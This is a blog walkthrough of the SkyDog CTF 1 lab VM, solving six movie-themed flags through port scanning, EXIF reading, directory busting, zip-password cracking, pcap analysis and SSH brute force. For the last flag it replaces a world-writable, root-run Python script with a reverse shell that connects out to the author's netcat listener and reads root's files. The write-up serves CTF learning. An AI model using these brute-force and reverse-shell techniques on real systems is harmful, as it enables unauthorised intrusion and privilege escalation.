Hacking SkyDogCTF vulnOS
The answer to who let the dogs out

Another day, another vulnerable OS. Well, not really that often, but these days I enjoy it to solve them after work. Nice to get other thoughts and to relax. This time I’m doing SkyDog CTF 1. It has six flags included with a hint for each of them. They are MD5 hashes which obviously need to be cracked then smile

Table of contents


The hints are these:

Flag #1

The first task is to discover the machine and search for open ports (I discovered it before at this IP):

[email protected]:~# nmap -T4 -sV -O
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-25 21:52 CEST
Nmap scan report for
Host is up (0.00028s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:EF:0B:15 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.37 seconds

Port 22 is at a first view boring as it doesn’t show a banner, just prompts for password. Port 80 looks more promising.

The page just shows that:

Looking at the source:

<img src=SkyDogCon_CTF.jpg>

So the focus gets more at the image. Remember the first hint:

Home Sweet Home or (A Picture is Worth a Thousand Words)

Let’s download the image and do a first look at it:

[email protected]:~/Downloads# file SkyDogCon_CTF.jpeg 
SkyDogCon_CTF.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, software=Adobe ImageReady], baseline, precision 8, 900x525, frames 3

Looks like a “real” JPEG picture. Check for EXIF data (sorry, I am using a German version):

[email protected]:~/Downloads# exif SkyDogCon_CTF.jpeg 
EXIF-Markierungen in »SkyDogCon_CTF.jpeg« (Byte-Reihenfolge »Motorola«):
Markierung          |Wert
Software            |Adobe ImageReady
XP-Kommentar        |flag{abc40a2d4e023b42bd1ff04891549ae2}
Auffüllung          |2060 Byte unbekannte Daten
Auflösung in X-Richt|72
Auflösung in Y-Richt|72
Maßeinheit der Auflö|Zoll
Auffüllung          |2060 Byte unbekannte Daten
Exif-Version        |Exif-Version 2.1
FlashPixVersion     |FlashPix-Version 1.0
Farbraum            |Interner Fehler (unbekannter Wert 65535)

Here we have the first flag:


Let’s see if we can crack it (it’s MD5), I used Hashkiller here which is a web based dictionary look-up. It resolves then to: “Welcome[space]Home

Flag #2

The second flag was kinda easy to obtain, too. The hint was:

When do Androids Learn to Walk?

After a bit thinking I thought of a “robots.txt”, the file which crawlers should mention to control their behavior specially for a website, like excluding folders from being crawled. It’s located inside the root folder of a website. And, BAZINGA, in the first line was flag #2:


It resolves to “Bots”.

Flag #3

The difficulty goes up a bit. The hint is:

Who Can You Trust?

I thought a good start was the robots.txt as there was the last flag included. It shows some directories, so why not just crawl them? I added the list to a new text file, removing the Allow/Disallow, but I kept the leading /. Let’s run it in dirsearch:

[email protected]:~/dirsearch# ./dirsearch.py -u -e php -w /root/Cracking/skydog_dirlist.txt -x 403

 _|. _ _  _  _  _ _|_    v0.3.6
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 299

Error Log: /root/dirsearch/logs/errors-16-06-28_21-46-28.log


[21:46:28] Starting: 
[21:46:28] 200 -   43B  - /index.html
[21:46:28] 200 -   43B  - /?hl=
[21:46:28] 200 -   43B  - /
[21:46:28] 200 -   43B  - /?hl=%2A&gws_rd=ssl$
[21:46:28] 200 -   43B  - /?hl=%2A&
[21:46:28] 200 -   43B  - /?pt1=true$
[21:46:28] 200 -   43B  - /?hl=%2A&%2A&gws_rd=ssl
[21:46:28] 200 -   43B  - /?gws_rd=ssl$
[21:46:29] 200 -  541B  - /Setec/

Task Completed

The last line shows us that we found a directory: /Setec/. Navigating to it shows that:

Too many secrets

The picture is in directory Astronomy/, it has indexing enabled. Here we find a .zip file: Whistler.zip.

[email protected]:~/Downloads# file Whistler.zip 
Whistler.zip: Zip archive data, at least v1.0 to extract

It’s password protected and I’m using that list to crack it. It has a good ratio for cracking passwords.

[email protected]:~/Downloads# fcrackzip -D -p /root/Cracking/passwords_collection.txt -u -v Whistler.zip 
found file 'flag.txt', (size cp/uc     50/    38, flags 9, chk 874a)
found file 'QuesttoFindCosmo.txt', (size cp/uc     72/    61, flags 9, chk 83b5)
checking pw yd0ntumak3m3                            

PASSWORD FOUND!!!!: pw == yourmother

Unpacking it gives us the files with these contents:

[email protected]:~/Downloads# cat flag.txt 
[email protected]:~/Downloads# cat QuesttoFindCosmo.txt 
Time to break out those binoculars and start doing some OSINT

So we have the next flag:


It resolves to “yourmother”.

Flag #4

As the CTF is based on one of the best hacker movies “Sneakers” I searched for the script of the movie. As the last hint was to use OSINT I am parsing it with CeWL, it’s already comes with Kali Linux. The Ruby script crawls a website and searches for unique words to put them in a wordlist.

So I parsed the movie script:

[email protected]:~/Downloads# cewl --depth=1 http://www.thealmightyguru.com/Reviews/Sneakers/Docs/Sneakers-Script.txt -w sneakers_script.txt
CeWL 5.1 Robin Wood ([email protected]) (http://digi.ninja)

A list with many words is created now. Let’s use it for dirbusting:

# ./dirsearch.py -u "" -w /root/Downloads/sneakers_script.txt -e php -x 403

 _|. _ _  _  _  _ _|_    v0.3.6
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 3739

Error Log: /root/Tools/dirsearch/logs/errors-16-07-24_18-02-24.log


[18:02:24] Starting: 
[18:02:24] 301 -  313B  - /Setec  ->
[18:02:27] 301 -  319B  - /PlayTronics  ->

Task Completed

We know the first directory already, so let’s focus on the second “PlayTronics”.

 Index of /PlayTronics
   [PARENTDIR] Parent Directory   -
   [ ] companytraffic.pcap 2015-09-18 12:57 596K
   [TXT] flag.txt 2015-09-18 17:36 38

flag.txt contains:


It resolves to “leroybrown”.

Flag #5

Let’s dive into the pcap from the last flag. At the end is plain HTTP traffic. We see there that an audio file got downloaded:

We could try to download it from the URI or try to reassemble it from the packet capture as the hole TCP stream is included.

Click “File” -> “Export objects” -> “HTTP” in Wireshark, the audio/mp3 file will be shown. Export it as .mp3.

Let’s listen to it.

Hi, my name is Werner Brandes. My voice is my password. Verify me.

It’s from that scene:

It’s the next hint. I think we are about to get access to that machine, so let’s build a list for usernames:

# cat usernames.txt 

As passwords I am using the built wordlist from the script and appending “leroybrown” there. Let’s start and crossing fingers that no anti bruteforce is in action:

# patator ssh_login host= port=22 user=FILE0 password=FILE1 0=usernames.txt 1=sneakers_script.txt -x ignore:mesg='Authentication failed.' -t 14
19:36:51 patator    INFO - Starting Patator v0.6 (http://code.google.com/p/patator/) at 2016-07-24 19:36 CEST
19:36:51 patator    INFO -                                                                              
19:36:51 patator    INFO - code  size   time | candidate                          |   num | mesg
19:36:51 patator    INFO - -----------------------------------------------------------------------------
19:38:01 patator    INFO - 0     39    0.009 | wernerbrandes:leroybrown           |   200 | SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2

We got a hit, let’s login with wernerbrandes:leroybrown and look around:

[email protected]:~/Downloads# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Jul 24 13:38:01 EDT 2016

  System load:  0.0               Processes:           113
  Usage of /:   7.3% of 17.34GB   Users logged in:     0
  Memory usage: 6%                IP address for eth0:
  Swap usage:   0%

  Graph this data and manage this system at:

30 packages can be updated.
21 updates are security updates.

Last login: Fri Oct 30 19:08:28 2015 from
[email protected]:~$ ls -al
total 32
drwxr-xr-x 3 wernerbrandes wernerbrandes 4096 Oct 30  2015 .
drwxr-xr-x 4 root          root          4096 Sep 18  2015 ..
-rw------- 1 wernerbrandes wernerbrandes    0 Oct 30  2015 .bash_history
-rw-r--r-- 1 wernerbrandes wernerbrandes  220 Sep 18  2015 .bash_logout
-rw-r--r-- 1 wernerbrandes wernerbrandes 3637 Sep 18  2015 .bashrc
drwx------ 2 wernerbrandes wernerbrandes 4096 Sep 18  2015 .cache
-rw-r--r-- 1 nemo          nemo            38 Sep 18  2015 flag.txt
-rw-r--r-- 1 wernerbrandes wernerbrandes  675 Sep 18  2015 .profile
-rw-rw-r-- 1 wernerbrandes wernerbrandes   66 Oct 25  2015 .selected_editor
[email protected]:~$ cat flag.txt 
[email protected]:~$ 
[email protected]:~$ 

So flag number 5 is:


It resolves to “Dr. Gunter Janek”.

BTW, did you mention the different username who owns the flag? nemo

Flag #6

Let’s resolve the last flag. The hint is “Little Black Box”. A black box is a closed system where the inner contents are not known (kinda). Hmm.

I did find / -writable -type f to find all writeable files, it’s quite a long list. After reviewing it I found an interesting file “/lib/log/sanitizer.py”. Let’s look what’s inside of it:

wernerbrandes@skydogctf:/$ cat /lib/log/sanitizer.py 
#!/usr/bin/env python
import os
import sys
	os.system('rm -r /tmp/* ')

It tries to flush the temporary file folder.

[email protected]:/lib/log$ ls -al
total 12
drwxr-xr-x  2 root root 4096 Sep 18  2015 .
drwxr-xr-x 22 root root 4096 Sep 18  2015 ..
-rwxrwxrwx  1 root root   96 Oct 27  2015 sanitizer.py

It’s own by root. Hmm. Maybe it’s started by root periodically? Let’s change the file a bit:

According to that page I pasted some code in it:

#!/usr/bin/env python
#import os
#import sys
#	os.system('rm -r /tmp/* ')
#	sys.exit()

import socket,subprocess
HOST = ''    # The remote host
PORT = 443            # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
     # recieve shell command
     data = s.recv(1024)
     # if its quit, then break out and close socket
     if data == "quit": break
     # do shell command
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     # read output
     stdout_value = proc.stdout.read() + proc.stderr.read()
     # send output to attacker
# close socket

And then listened to it:

[email protected]:~/Downloads# nc -lvn -p 443 -s
listening on [] 443 ...
connect to [] from (UNKNOWN) [] 51994
[*] Connection Established!
cd /root
ls /root/BlackBox 
cat /root/BlackBox/flag.txt

Congratulations!! Martin Bishop is a free man once again!  Go here to receive your reward.

So flag number 6 is


It resolves to “CongratulationsYouDidIt”.

The folder on the webserver contains a video You’re the best… around!.mp4.



It was a really nice CTF. Kinda easy, but nice. I liked the OPSEC part to gain more info about the target. The reference to the movie was made very nice, too. There where many of them, I watched the movie again (you should do that, too) and resolved some of the riddles then. I want more like that!

What could be done better is to name the flags, at the beginning I did not know which flag I found.

Written by wirehack7 on 24 July 2016